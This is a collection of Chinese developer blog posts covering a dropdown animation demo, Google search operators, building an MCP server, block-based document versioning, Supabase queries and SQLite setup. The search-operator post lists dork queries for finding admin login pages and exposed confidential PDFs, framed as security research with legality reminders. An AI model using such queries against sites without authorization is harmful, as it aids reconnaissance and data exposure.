长列表还有一个“视觉问题”：展开太长会像抽屉拉开一整块，很难看

这时候你可以做一种 UX 更高级的策略：超长内容改成「最多展开 X px，再内部滚动」

```js
const MAX_HEIGHT = 320;
const h = Math.min(dropdown.scrollHeight, MAX_HEIGHT);
dropdown.style.height = h + "px";
dropdown.style.overflowY = dropdown.scrollHeight > MAX_HEIGHT ? "auto" : "hidden";
```

**这样动画会稳定、用户也不会被“拉很长”吓到。**

### 完整 Demo

```html
<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  <title>平滑下拉长列表 Demo</title>
  <style>
    body {
      font-family: system-ui, -apple-system, Segoe UI, Roboto, sans-serif;
      padding: 40px;
      background: #f7f7fb;
      color: #222;
    }

    .card {
      width: 420px;
      border-radius: 14px;
      background: #fff;
      box-shadow: 0 8px 30px rgba(0,0,0,.08);
      padding: 18px;
    }

    .header {
      display: flex;
      justify-content: space-between;
      align-items: center;
      cursor: pointer;
      user-select: none;
    }

    .title {
      font-size: 16px;
      font-weight: 700;
    }

    .btn {
      border: none;
      background: #111;
      color: #fff;
      padding: 10px 14px;
      border-radius: 10px;
      cursor: pointer;
      font-weight: 600;
      transition: transform 0.15s ease;
    }
    .btn:active {
      transform: scale(0.96);
    }

    /* 核心：高度动画容器 */
    .dropdown {
      height: 0;
      overflow: hidden;
      transition-property: height;
      margin-top: 12px;
      border-radius: 12px;
      background: #fafafa;
      border: 1px solid #eee;
    }

    /* 内部内容区域 */
    .content {
      padding: 10px;
    }

    .list {
      padding: 0;
      margin: 0;
      list-style: none;
    }

    .item {
      padding: 10px 12px;
      border-radius: 10px;
      background: #fff;
      border: 1px solid #eee;
      margin-bottom: 8px;
      display: flex;
      justify-content: space-between;
      align-items: center;
      font-size: 14px;
    }

    .tag {
      font-size: 12px;
      padding: 4px 8px;
      border-radius: 999px;
      background: #f0f0ff;
      border: 1px solid #dedcff;
      color: #3b33cc;
      font-weight: 700;
    }

    .tips {
      margin-top: 16px;
      font-size: 13px;
      color: #666;
      line-height: 1.6;
    }

    .tips code {
      background: #fff;
      border: 1px solid #eee;
      border-radius: 6px;
      padding: 1px 6px;
      font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace;
      font-size: 12px;
    }
  </style>
</head>

<body>
  <div class="card">
    <div class="header">
      <div class="title">长列表平滑下拉（带动态动画时间）</div>
      <button class="btn" id="toggleBtn">展开</button>
    </div>

    <div class="dropdown" id="dropdown">
      <div class="content">
        <ul class="list" id="list"></ul>
      </div>
    </div>

    <div class="tips">
      动画从 <code>0 → scrollHeight</code> 平滑展开<br/>
      根据内容高度动态计算 <code>duration</code>，长内容不会“啪一下”<br/>
      超过最大高度后内部滚动（避免展开过长）<br/>
      你可以修改 JS 里的 <code>COUNT</code> 和 <code>MAX_HEIGHT</code> 看效果。
    </div>
  </div>

  <script>
    const dropdown = document.getElementById("dropdown");
    const btn = document.getElementById("toggleBtn");
    const list = document.getElementById("list");

    // ======== 你可以调这里 =========
    const COUNT = 60;       // 列表条数（越大越长）
    const MAX_HEIGHT = 320; // 最大展开高度（px）
    // ==============================

    // 填充长列表
    for (let i = 1; i <= COUNT; i++) {
      const li = document.createElement("li");
      li.className = "item";
      li.innerHTML = `
        <span>选项 Item ${i}</span>
        <span class="tag">${i % 3 === 0 ? "HOT" : "NEW"}</span>
      `;
      list.appendChild(li);
    }

    let open = false;

    // 动态计算动画时长：高度越高越慢，但限制上下限
    function getDuration(height) {
      const speed = 2; // px/ms （越小越慢）
      const min = 160; // 最短 ms
      const max = 520; // 最长 ms
      return Math.min(max, Math.max(min, height / speed));
    }

    // 两个不同的 easing：展开柔和、收起干脆
    const easeOpen = "cubic-bezier(.33, 1, .68, 1)";
    const easeClose = "cubic-bezier(.32, 0, .67, 0)";

    btn.addEventListener("click", () => {
      open = !open;
      btn.textContent = open ? "收起" : "展开";

      // scrollHeight 是内容真实高度
      const fullHeight = dropdown.scrollHeight;

      // 如果内容很长，限制展开高度，内部滚动
      const targetHeight = Math.min(fullHeight, MAX_HEIGHT);

      // 根据高度计算 duration
      const duration = getDuration(targetHeight);

      dropdown.style.transitionTimingFunction = open ? easeOpen : easeClose;
      dropdown.style.transitionDuration = duration + "ms";

      if (open) {
        // 展开：height 0 -> targetHeight
        dropdown.style.overflowY = fullHeight > MAX_HEIGHT ? "auto" : "hidden";
        dropdown.style.height = targetHeight + "px";
      } else {
        // 收起：先固定当前高度（防止从 auto 收起没动画）
        dropdown.style.height = dropdown.offsetHeight + "px";
        dropdown.offsetHeight; // 强制触发 reflow
        dropdown.style.overflowY = "hidden";
        dropdown.style.height = "0px";
      }
    });

    // 如果内容未来动态变化（比如异步加载），你可以用这个函数更新高度
    function refreshHeightIfOpen() {
      if (!open) return;
      const fullHeight = dropdown.scrollHeight;
      const targetHeight = Math.min(fullHeight, MAX_HEIGHT);
      dropdown.style.height = targetHeight + "px";
      dropdown.style.overflowY = fullHeight > MAX_HEIGHT ? "auto" : "hidden";
    }

    // Demo: 2 秒后模拟新增内容，让你看到它依然能保持正确高度
    setTimeout(() => {
      const li = document.createElement("li");
      li.className = "item";
      li.innerHTML = `<span>新增 Item (异步)</span><span class="tag">ADD</span>`;
      list.prepend(li);
      refreshHeightIfOpen();
    }, 2000);
  </script>
</body>
</html>
```

---

---
url: /posts/bmy7qsv2/index.md
---
# Google 常见高级搜索语法指南
## 常见高级搜索运算符

### inurl: - 搜索 URL 中包含特定词的页面

* **功能**：限制搜索结果为 URL 中包含指定关键词的页面。
* **用法**：inurl:keyword
* **示例**：inurl:login/admin
  查找 URL 中包含 login 或 admin 的页面，可能用于发现潜在的登录入口（需注意合法性）。
* **场景**：寻找特定类型的页面（如登录页面、管理员面板），或分析竞争对手的 URL 结构。
* **注意**：对大小写不敏感，单词无需连写。

### allinurl: - 搜索 URL 中包含所有指定词的页面

* **功能**：要求 URL 中同时包含所有指定关键词。
* **用法**：allinurl:keyword1 keyword2
* **示例**：allinurl:marketing digital
  查找 URL 中同时包含 marketing 和 digital 的页面。
* **场景**：定位更具体的页面，如数字营销相关的专题页面。

### site: - 限制搜索到特定网站或域名

* **功能**：仅返回指定网站或域名下的搜索结果。
* **用法**：site:domain
* **示例**：site:example.com inurl:login
  查找 example.com 域名下 URL 包含 login 的页面。
* **场景**：检查网站索引情况、发现潜在的安全漏洞（如公开的登录页面）。

### intitle: - 搜索标题中包含特定词的页面

* **功能**：限制搜索结果为网页标题中包含指定关键词的页面。
* **用法**：intitle:keyword
* **示例**：intitle:"admin panel"
  查找标题中包含 admin panel 的页面。
* **场景**：寻找特定主题的权威页面或潜在的管理员界面。

### allintitle: - 搜索标题中包含所有指定词的页面

* **功能**：要求网页标题中包含所有指定关键词。
* **用法**：allintitle:keyword1 keyword2
* **示例**：allintitle:detect plagiarism
  查找标题中同时包含 detect 和 plagiarism 的页面。

### filetype: - 搜索特定文件类型的页面

* **功能**：限制搜索结果为特定文件格式（如 PDF、DOC）。
* **用法**：filetype:extension
* **示例**：filetype:pdf llm training data
  查找关于 LLM 训练数据的 PDF 文件。
* **场景**：获取研究报告、学术论文或内部文档。

### intext: 和 allintext: - 搜索页面内容中包含特定词

* **功能**：intext: 查找页面内容包含指定词的结果；allintext: 要求包含所有指定词。
* **用法**：intext:keyword 或 allintext:keyword1 keyword2
* **示例**：allintext:security vulnerability 2025
  查找页面内容同时包含 security、vulnerability 和 2025 的结果。
* **场景**：发现特定主题的讨论或潜在的抄袭内容。

### - (排除运算符) - 排除特定词

* **功能**：排除包含特定词的搜索结果。
* **用法**：-keyword
* **示例**：site:example.com -inurl:https
  查找 example.com 中非 HTTPS 的页面。
* **场景**：排查不安全的页面或过滤无关内容。

### before: 和 after: - 按时间范围搜索

* **功能**：限制搜索结果为某日期之前或之后的内容。
* **用法**：before:YYYY-MM-DD 或 after:YYYY-MM-DD
* **示例**：before:2025-01-01 cybersecurity
  查找 2025 年 1 月 1 日之前的网络安全相关内容。
* **场景**：研究历史事件或内容变化。

### related: - 查找相似网站

* **功能**：返回与指定网站相似的网站（已部分失效）。
* **用法**：related:domain
* **示例**：related:wix.com
  查找与 Wix 类似的网站构建平台。
* **场景**：竞争对手分析。

## 组合使用运算符

高级搜索运算符可组合使用，以实现更复杂的需求。例如：

* site:example.com inurl:login -inurl:https
  查找 example.com 中非 HTTPS 的登录页面。
* intitle:"guest post" inurl:write-for-us
  查找接受客座文章的网站。
* filetype:pdf site:\*.edu llm training
  查找教育机构发布的关于 LLM 训练的 PDF 文档。

## 注意事项

1. **大小写无关**：Google 搜索对大小写不敏感。
2. **空格敏感**：某些运算符（如 intitle:）后不能有空格。
3. **索引限制**：搜索结果受 Google 索引限制，可能不完整。
4. **合法性**：使用 inurl:login/admin 等查询时，需遵守法律法规，避免未经授权访问。
5. **CAPTCHA 验证**：频繁使用复杂运算符可能触发 Google 的机器人验证。

## 安全研究中的应用

在安全研究中，高级搜索运算符可用于：

* **发现潜在漏洞**：如 inurl:login/admin 查找公开的管理员登录页面。
* **检查索引问题**：如 site:example.com inurl:tag 诊断博客标签页面是否被错误索引。
* **监控内容泄露**：如 filetype:pdf site:example.com confidential 查找意外公开的敏感文档。

**伦理提醒**：安全研究需在合法授权范围内进行，避免非法访问或利用漏洞。

## Google 官方文档地址

Google 官方文档对高级搜索运算符的说明较为简略，主要集中在以下页面：

* **Google 搜索帮助中心**：
  Refine Google searches
  提供基本的运算符说明，如 site:、inurl: 等。
* **Google 高级搜索页面**：
  https://google.com/advanced\_search
  提供交互式界面，间接支持部分运算符功能。
* **补充说明**：部分运算符（如 link:、cache:）已被 Google 弃用，官方文档可能未及时更新。更多高级用法需参考社区资源，如 Google Guide。

## 推荐资源

* **Ahrefs 博客**：提供 SEO 视角的运算符使用案例。
* **Moz 指南**：详细介绍运算符在内容研究中的应用。
* **Google Dorks 指南**：探讨安全研究中的高级搜索技巧。

通过熟练使用 Google 高级搜索运算符，您可以大幅提升信息检索效率，无论是用于学术研究、SEO 优化还是安全测试。始终确保在合法和道德范围内使用这些工具！

---

---
url: /posts/cb3hkkcm/index.md
---
# AI MCP
MCP（**Model Context Protocol**）是一种用于定义和管理模型上下文的协议，是一个用于**增强AI大模型能力的标准工具箱**，让AI不仅能“说”话，还能“做”事。

**标准化执行环境**：MCP让AI系统能够执行实际操作（如控制设备、进行计算、调动外部API等），不仅仅停留在输出文本的阶段。

**跨系统协同**：MCP让AI与外部系统或工具协作无缝衔接。它能够调用外部资源或服务，执行任务，提升AI的功能。

***

MCP 就是给 AI 一个“工具箱”。

要自己做一个（Node / TypeScript），最常见、也最适合接入 OpenCode 的方式是：**做一个本地（local）MCP server，用 stdio 传输**，然后在 `opencode.jsonc` 里用 `command` 启动它。OpenCode 的 MCP 配置就是这么设计的。

**从 0 到可用**的最小模板：

```bash
mkdir my-mcp
cd my-mcp
npm init -y
npm i @modelcontextprotocol/sdk zod
npm i -D typescript tsx @types/node
```

`@modelcontextprotocol/sdk` 是官方 TS SDK，支持 stdio（本地进程）以及 HTTP 等传输。

创建 `tsconfig.json`：

```json
{
  "compilerOptions": {
    "target": "ES2022",
    "module": "NodeNext",
    "moduleResolution": "NodeNext",
    "outDir": "dist",
    "rootDir": "src",
    "strict": true,
    "esModuleInterop": true
  }
}
```

写一个最小 MCP Server（stdio）

新建 `src/index.ts`：

```ts
import { z } from "zod";
import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";

const server = new McpServer({
  name: "my-mcp",
  version: "0.1.0",
});

// 一个最简单的工具：add
server.tool(
  "add",
  { a: z.number(), b: z.number() },
  async ({ a, b }) => ({
    content: [{ type: "text", text: String(a + b) }],
  })
);

// 再来一个：hello
server.tool(
  "say_hello",
  { name: z.string() },
  async ({ name }) => ({
    content: [{ type: "text", text: `Hello, ${name}!` }],
  })
);

async function main() {
  const transport = new StdioServerTransport();
  await server.connect(transport);
}

main().catch((err) => {
  console.error(err);
  process.exit(1);
});
```

这段写法就是官方 TS SDK 的典型姿势：`McpServer` + `StdioServerTransport` + `zod` 定义入参。

改 `package.json`（加上 type/module + scripts）：

```json
{
  "name": "my-mcp",
  "version": "0.1.0",
  "type": "module",
  "main": "dist/index.js",
  "scripts": {
    "dev": "tsx src/index.ts",
    "build": "tsc -p tsconfig.json"
  }
}
```

编译：

```bash
npm run build
```

接入你的 OpenCode（opencode.jsonc）

OpenCode 文档里说：在配置里 `mcp` 下给每个 server 一个名字，`type: "local"`，再用 `command` 指定启动命令。

例如（把路径换成自己的）：

```json
{
  "$schema": "https://opencode.ai/config.json",
  "mcp": {
    "my_mcp": {
      "type": "local",
      "command": ["node", "/absolute/path/to/my-mcp/dist/index.js"],
      "enabled": true,
      "environment": {
        "MY_ENV_VAR": "optional"
      },
      "timeout": 5000
    }
  }
}
```

文档里也给了 `command: ["npx","-y", "..."]` 这种写法；你如果把项目发布成 npm 包，也能用 npx 启动。

在对话里，在 prompt 里直接说 **“use the `<name>` tool”**（上述示例的名字就是 `my_mcp`）。

比如你可以对 opencode 说：use the my\_mcp tool to add 3 and 4

***

`command: ["npx","-y","..."]` 本质上就是\*\*“不安装到项目里，也能直接跑一个 npm 包的可执行入口”\*\*。

**npx = npm 自带的“临时执行器/包运行器”**（现在很多场景里它其实已经集成进 `npm exec` 了）。

它帮你做两件事：

1. **找到并运行一个命令**（优先用本地 `node_modules/.bin` 里的）
2. 如果本地没有，就**临时下载对应 npm 包**，跑完就结束（通常会缓存一下，下次更快）

所以它不只是“快捷启动”，更准确是：**“无需预装也能运行（或优先运行本地已装的）npm 包命令”**

`-y` 通常是让 npx **自动回答 yes**（避免它提示你“要不要安装/运行这个包？”然后卡住）。

在 MCP 里很常见，因为 MCP server 是 opencode 启动的子进程，你肯定不希望它弹交互式确认。

MCP 配置里经常用 npx，因为只想启动这个 MCP server，不想把它写进我的项目依赖，希望随用随跑，跨机器配置简单

**用 npx 的优点**

* **零安装**、配置简单
* 不污染项目依赖
* 适合“工具型/一次性/外部组件”
* 可以在配置里直接 pin 版本：`pkg@1.2.3`

**用 npm i（本地装）优点**

* **更可控、更可复现**（锁到 lockfile）
* 启动更快、更稳定（离线也行）
* 更安全（供应链风险更低）
* 团队协作更规范（版本统一）

***

MCP 的消息格式是 **JSON-RPC 2.0**，常见的标准传输包括：

**STDIO（最常见）**

* 本地进程通信：client 启动 server 子进程
* 通过 stdin/stdout 传 JSON-RPC
* 特别适合：CLI、桌面、本地工具链（上述的示例在 opencode + node 就是这个套路）

**Streamable HTTP（更“服务化”）**

* server 是独立服务，可多客户端连接
* 通过 HTTP POST/GET 交互
* **可选**启用 SSE 来把 server->client 的多条消息“流式推送”出去

**用 STDIO 的典型场景**

* opencode / cline 这种本地集成
* 你希望安装简单、权限少、网络无关
* 单用户、单机为主

**优点**：简单、稳定、延迟低

**缺点**：不适合“多用户共享同一套服务”

**用 Streamable HTTP + SSE 的典型场景**

* 你要把 MCP 变成一个“常驻服务”
* 多个客户端/多台机器要连同一个 MCP
* 需要更标准的网络部署（容器、k8s、网关）

**优点**：服务化、可复用、可扩展

**缺点**：部署复杂度更高（鉴权、CORS、反向代理等也会跟着来）

***

**远程 MCP（部署在服务器上、多个客户端连接）**，现在更推荐用 **Streamable HTTP**。

**Streamable HTTP 才是 MCP 规范里“远程传输”的主推荐方案**；而老的 **HTTP + SSE** 在很多实现/SDK 里已经变成“兼容用”。

---

---
url: /posts/cu409muo/index.md
---
# 大型文档存储与版本控制
在在线笔记平台开发中，处理大型文档是一个关键难点。文档往往内容丰富，可能包含上万字甚至更多，直接全量存储和版本控制存在性能和效率问题。本文探讨一种可行的设计思路，包括文档分块存储、按需 diff 和版本管理。

## 文档分块存储

传统 Markdown 渲染库通常生成 HTML 元素，如 `h1-h6`、`p`、`table` 等。但是对于在线协作编辑，这种全量渲染方式存在几个问题：

* 难以进行增量更新
* 对大型文档全量 diff 性能差
* 富文本格式难以精确表示

解决方案是引入 **block 概念**，将文档拆成多个逻辑块，每个块可以是段落、标题、列表项、表格行等。块内可以包含多个 **inline 节点**，例如文字节点和格式信息。每个 block 拥有唯一标识符，便于增量操作和版本管理。

示例 JSON 结构如下：

```json
[
  {
    "type": "paragraph",
    "children": [
      { "text": "Docker 简单来说就是一个 " },
      { "text": "开源的应用容器引擎", "bold": true },
      { "text": "。" }
    ]
  }
]
```

这种结构天然适合文档型数据库存储，例如 MongoDB。前端渲染时可以遍历数组生成 JSX 或 HTML 元素，编辑器可以直接操作 AST，实现富文本编辑。

## 按需 Diff 和版本控制

对于大型文档，版本控制如果每次都做全量 diff 会非常消耗资源。基于 block 的存储方式，可以实现 **按需 diff**：

* 用户修改时，系统自动判断修改的 block
* 只对修改的 block 进行 diff
* 可以进一步对 block 内文字做字符级 diff
* 未修改的 block 直接复用历史版本

这样可以大幅提升性能，同时保证版本控制的精度。每个 block 可以单独存历史版本，实现精细化回溯。

**技术栈建议**

* **存储**：MongoDB 是理想选择，原生支持 JSON，便于按 block 存储和查询
* **前端渲染**：React 遍历 block 数组生成 JSX
* **编辑器实现**：可以基于现有库，如 Slate.js、ProseMirror 或 Tiptap，也可以自研
* **版本 diff**：可结合 `diff-match-patch` 做字符级 diff，或者自研 block 级 diff

**总结**

大型文档在线编辑与版本控制的核心在于将文档拆成 block，按需 diff 和增量更新。每个 block 保持唯一标识符并存储历史版本，可以显著优化性能，提升用户体验。借助这种设计，开发者能够实现高效的富文本编辑和精确的版本管理，同时支持复杂格式和增量渲染。

## 实现

所见即所得 + JSON 内部表示 + 自动保存 + 历史记录”

这已经不只是一个 Markdown 渲染库，核心是一个**富文本编辑器框架**，它提供可操作的 AST（JSON）结构，方便你在背后做各种逻辑处理。

**现成的编辑器框架**

**Slate.js**

**核心特点**：

* 编辑器内部存储的是 JSON 结构（类似你前面提到的 AST）
* 每个 block 和 text 节点都有 id，可以做增量 diff
* 可以自定义 schema，实现格式校验
* 支持插件扩展（自动保存、上传数据、历史记录）

**优点**：

* 完全可控，灵活度高
* 易于集成 React

**注意**：

* 自己要实现 Markdown 解析/渲染
* 对复杂编辑器功能可能需要较多自研逻辑

**官网/示例**：https://docs.slatejs.org/

**Tiptap（基于 ProseMirror）**

**核心特点**：

* ProseMirror 是文档模型（Document Model）驱动的编辑器
* 所有文档都是 JSON 结构，容易做 diff、保存和上传
* 支持 Markdown → JSON → render 的转换
* 插件机制完善，易于实现自动保存、版本管理、格式校验
* 前端渲染即所见即所得

**优点**：

* 现代富文本编辑器，社区活跃
* 内置 Markdown 解析器（可以写 `## 一级标题` 之类的）

**注意**：

* 对深度定制可能需要 ProseMirror 的一些原理知识

**官网/示例**：https://tiptap.dev/

**Remirror**

* 基于 ProseMirror 的另一种富文本编辑器
* 核心也使用 JSON 文档模型
* 优势是插件和扩展机制更现代化，集成 React 较方便
* 官网：https://remirror.io/

**总结建议**

* 如果希望快速实现“Markdown 输入 → JSON 渲染 → 增量保存 + 历史记录”，**Tiptap** 是最推荐的选择，它自带 Markdown 支持，JSON 模型可操作。
* 如果想完全自研，**Slate.js** 更灵活，可以自定义每一层逻辑。
* 对于自动保存、版本控制、格式校验，这些可以作为编辑器插件或中间层逻辑来实现。

---

---
url: /posts/d4rzvchr/index.md
---
# Supabase 的常用 API
## 基础查询 `.from().select()` {#basic-select}

**Supabase**：

```ts
const { data, error } = await supabase
.from('users')
.select('*');
```

**MySQL**：

```sql
SELECT * FROM users;
```

## 条件筛选 `.eq()` / `.neq()` / `.lt()` / `.gt()` / `.gte()` / `.lte()` {#conditions}

**Supabase**：

```ts
supabase.from('users').select('*')
    .eq('age', 18)
    .neq('status', 'inactive')
    .gt('score', 60)
    .lt('rank', 100)
    .gte('experience', 3)
    .lte('level', 5);
```

**MySQL**：

```sql
SELECT * FROM users
WHERE age = 18 AND status != 'inactive' AND score > 60
AND rank < 100 AND experience >= 3 AND level <= 5;
```

## 范围匹配 `.in()` / `.not()` / `.like()` / `.ilike()` {#range-matching}

**Supabase**：

```ts
supabase.from('users').select('*')
    .in('role', ['admin', 'editor'])
    .like('email', '%@gmail.com')
    .ilike('username', '%john%');
```

**MySQL**：

```sql
SELECT * FROM users
WHERE role IN ('admin', 'editor')
  AND email LIKE '%@gmail.com'
  AND username ILIKE '%john%';
```

## 组合条件 `.or()` / `.not()` / `.filter()` {#logical-combination}

**Supabase**：

```ts
supabase.from('users')
    .select('*')
    .or('status.eq.active,status.eq.pending')
    .not('deleted', 'is', true)
    .filter('age', 'gte', 18);
```

**MySQL**：

```sql
SELECT * FROM users
WHERE (status = 'active' OR status = 'pending')
  AND deleted IS NOT true
  AND age >= 18;
```

## 排序分页 `.order()` / `.limit()` / `.range()` {#pagination}

**Supabase**：

```ts
supabase.from('users')
  .select('*')
  .order('created_at', { ascending: false })
  .range(10, 19); // 第 2 页，每页 10 条
```

**MySQL**：

```sql
SELECT * FROM users ORDER BY created_at DESC LIMIT 10 OFFSET 10;
```

## 获取单行 `.single()` / `.maybeSingle()` {#single-maybeSingle}

**Supabase**：

```ts
supabase.from('config')
    .select('value')
    .eq('key', 'site_title')
    .single();
```

* `.single()`：返回一行，0 或多行都会报错
* `.maybeSingle()`：0 或 1 行都可接受

## 插入数据 `.insert()` {#insert}

**Supabase**：

```ts
await supabase.from('users').insert({ name: 'Tom', age: 30 });
```

**MySQL**：

```sql
INSERT INTO users (name, age) VALUES ('Tom', 30);
```

* 可插入多个：`insert([{...}, {...}])`
* 默认返回插入后的数据

## 更新数据 `.update()` {#update}

**Supabase**：

```ts
await supabase.from('users')
  .update({ age: 35 })
  .eq('id', 1);
```

**MySQL**：

```sql
UPDATE users SET age = 35 WHERE id = 1;
```

## 删除数据 `.delete()` {#delete}

**Supabase**：

```ts
await supabase.from('users')
  .delete()
  .eq('id', 1);
```

**MySQL**：

```sql
DELETE FROM users WHERE id = 1;
```

## 原始 SQL 支持（服务端） {#raw-sql}

Supabase 控制台支持原始 SQL 查询，但 **前端不支持直接执行原生 SQL**。

推荐通过 RPC 函数调用：

```ts
await supabase.rpc('get_user_stats', { user_id: 123 });
```

## 错误处理 `.throwOnError()` {#error-handling}

```ts
supabase.from('users').select('*').throwOnError();
```

等价于：

```ts
const { data, error } = await supabase.from('users').select('*');
if (error) throw error;
```

## 所有查询方法对照表 {#api-table}

| Supabase 方法      | SQL 对应         | 说明                       |
| ------------------ | ---------------- | -------------------------- |
| `.select()`        | `SELECT`         | 查询字段                   |
| `.eq()`            | `=`              | 等于                       |
| `.neq()`           | `!=`             | 不等于                     |
| `.gt()`, `.lt()`   | `>`, `<`         | 比较运算                   |
| `.gte()`, `.lte()` | `>=`, `<=`       | 比较运算                   |
| `.in()`            | `IN`             | 多值匹配                   |
| `.like()`          | `LIKE`           | 模糊匹配                   |
| `.ilike()`         | `ILIKE`          | 忽略大小写匹配（Postgres） |
| `.order()`         | `ORDER BY`       | 排序                       |
| `.limit()`         | `LIMIT`          | 限制数量                   |
| `.range()`         | `OFFSET + LIMIT` | 分页                       |
| `.or()`            | `OR`             | 或条件                     |
| `.not()`           | `NOT`            | 非条件                     |
| `.filter()`        | 通用 `WHERE`     | 动态运算符传入             |
| `.single()`        | 1 行限制         | 多行或 0 行报错            |
| `.maybeSingle()`   | 最多 1 行        | 宽容版本                   |
| `.insert()`        | `INSERT`         | 插入数据                   |
| `.update()`        | `UPDATE`         | 修改数据                   |
| `.delete()`        | `DELETE`         | 删除数据                   |
| `.throwOnError()`  | 无               | 自动抛出错误               |

## 最佳实践建议 {#best-practices}

* 所有操作均为异步 `await`，不可漏写
* 前端使用匿名 key，受限于 Row Level Security（RLS）
* 服务端使用 `service_role` key，可访问所有数据
* 建议封装为统一查询服务（如 NestJS Service）
* 支持链式调用，可组合多个条件与功能

## 总结 {#summary}

Supabase 的客户端 API 提供了一个现代、类型安全、SQL 等价的数据库操作方式，无需写原生 SQL 就能完成绝大多数业务逻辑。

---

---
url: /posts/d9jvadsz/index.md
---
# pnpm + SQLite（高性能 better-sqlite3）完整安装步骤
初始化项目

```bash
mkdir sqlite-demo
cd sqlite-demo
pnpm init
```

安装 better-sqlite3（关键：允许 build scripts）

```bash
pnpm add better-sqlite3
```

如果你看到类似提示：

> Ignored build scripts: better-sqlite3
> Run "pnpm approve-builds" ...

那就执行：

```bash
pnpm approve-builds
pnpm rebuild better-sqlite3
```

**解释**：better-sqlite3 是原生模块，需要安装脚本去下载/编译 `.node` 文件；pnpm 出于安全默认可能禁用脚本，所以要 approve。

写一个最小可用 smoke 测试（会生成 .db）

新建文件：`smoke.js`

```js
const Database = require("better-sqlite3");
const path = require("path");
const fs = require("fs");

const dbPath = path.join(process.cwd(), "data", "app.db");
fs.mkdirSync(path.dirname(dbPath), { recursive: true });

console.log("cwd:", process.cwd());
console.log("dbPath:", dbPath);

const db = new Database(dbPath);

// 推荐的性能配置（常用平衡点）
db.pragma("journal_mode = WAL");
db.pragma("synchronous = NORMAL");
db.pragma("foreign_keys = ON");

db.exec(`
  CREATE TABLE IF NOT EXISTS users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    email TEXT UNIQUE NOT NULL,
    name TEXT,
    created_at TEXT DEFAULT (datetime('now'))
  );
`);

const insert = db.prepare("INSERT INTO users(email, name) VALUES (?, ?)");
insert.run("a@example.com", "Alice");

const row = db.prepare("SELECT * FROM users WHERE email=?").get("a@example.com");
console.log("selected:", row);

db.close();
console.log("done");
```

```bash
node smoke.js
```

终端输出 selected 的数据

文件生成：`./data/app.db`

如果开了 WAL，还会看到 `app.db-wal` 和 `app.db-shm`（正常！）

**性能测试**（事务批量写入）

```js
// bench.js
const Database = require("better-sqlite3");
const path = require("path");
const fs = require("fs");

const dbPath = path.join(process.cwd(), "data", "bench.db");
fs.mkdirSync(path.dirname(dbPath), { recursive: true });

const db = new Database(dbPath);

db.pragma("journal_mode = WAL");
db.pragma("synchronous = NORMAL");
db.pragma("foreign_keys = ON");

// 为了压测干净，重建表
db.exec(`
  DROP TABLE IF EXISTS events;
  CREATE TABLE events (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    ts INTEGER NOT NULL,
    kind TEXT NOT NULL,
    payload TEXT NOT NULL
  );
  CREATE INDEX idx_events_ts ON events(ts);
`);

const insert = db.prepare("INSERT INTO events(ts, kind, payload) VALUES (?, ?, ?)");

// 关键：事务包裹批量写入，速度差一个数量级
const insertMany = db.transaction((n) => {
  for (let i = 0; i < n; i++) {
    insert.run(Date.now(), "click", JSON.stringify({ i, ok: true }));
  }
});

const N = Number(process.argv[2] || 100000);

console.time(`insert ${N}`);
insertMany(N);
console.timeEnd(`insert ${N}`);

console.time("query last 10");
const rows = db.prepare("SELECT id, ts, kind FROM events ORDER BY id DESC LIMIT 10").all();
console.timeEnd("query last 10");

console.log("last10:", rows);

db.close();
console.log("db:", dbPath);
```

跑 10 万条：

```bash
node bench.js 100000
```

或者：

```bash
node bench.js 1000000
```

***

**CLI 操作**

如果是 Win10 / Win11（基本都有 winget）：

```bash
winget install SQLite.SQLite
```

装完立刻验证：

```bash
sqlite3 --version
```

然后直接用你的 db：

```bash
sqlite3 F:\sqlite-demo\data\app.db
```

万一没包管理器：官网下载（最原始）

1. 打开官网：https://www.sqlite.org/download.html
2. 找 **“sqlite-tools-win-x64”**
3. 下载 zip → 解压
4. 把解压目录加到 **PATH**
5. 终端里：

```bash
sqlite3 your.db
```

**常用命令**

假设有两张表：`users`、`orders`

先把 CLI 显示调舒服

进入 `sqlite3 your.db` 之后先敲：

```bash
.headers on
.mode box
.timer on
```

看数据库里有什么

```bash
.tables                 -- 所有表
.schema                 -- 所有建表 SQL
.schema users           -- 某张表的建表 SQL
.databases              -- 当前打开的库/附加库
```

建表（CREATE TABLE）

```sql
CREATE TABLE IF NOT EXISTS users (
  id INTEGER PRIMARY KEY,
  email TEXT UNIQUE NOT NULL,
  name TEXT,
  created_at TEXT DEFAULT (datetime('now'))
);

CREATE TABLE IF NOT EXISTS orders (
  id INTEGER PRIMARY KEY,
  user_id INTEGER NOT NULL,
  total INTEGER NOT NULL,
  created_at TEXT DEFAULT (datetime('now')),
  FOREIGN KEY(user_id) REFERENCES users(id)
);
```

插入数据（INSERT）

插一条：

```sql
INSERT INTO users(email, name) VALUES ('a@example.com', 'Alice');
```

插多条：

```sql
INSERT INTO users(email, name) VALUES
('b@example.com', 'Bob'),
('c@example.com', 'Cindy');
```

给 orders 插两条（假设 user\_id=1 存在）：

```sql
INSERT INTO orders(user_id, total) VALUES (1, 199);
INSERT INTO orders(user_id, total) VALUES (1, 35);
```

查询（SELECT）

查全部（慎用，表大时会爆屏）：

```sql
SELECT * FROM users;
```

常用：限制行数 + 排序：

```sql
SELECT * FROM users ORDER BY id DESC LIMIT 20;
```

条件查询：

```sql
SELECT id, email, name
FROM users
WHERE email = 'a@example.com';
```

模糊匹配：

```sql
SELECT * FROM users
WHERE email LIKE '%@example.com';
```

分页（第 2 页，每页 10 条）：

```sql
SELECT * FROM users
ORDER BY id
LIMIT 10 OFFSET 10;
```

更新（UPDATE）

```sql
UPDATE users
SET name = 'Alice Updated'
WHERE email = 'a@example.com';
```

更新多列：

```sql
UPDATE users
SET name = 'Bob Updated', email = 'bob@example.com'
WHERE id = 2;
```

删除（DELETE）

删某条：

```sql
DELETE FROM users WHERE id = 3;
```

清空表（删除所有行）：

```sql
DELETE FROM users;
```

**注意**：SQLite 没有 `TRUNCATE TABLE`，清空一般用 `DELETE FROM table;`

联表查询（JOIN）

查用户和订单：

```sql
SELECT u.id, u.name, o.id AS order_id, o.total
FROM users u
JOIN orders o ON o.user_id = u.id
ORDER BY o.id DESC
LIMIT 20;
```

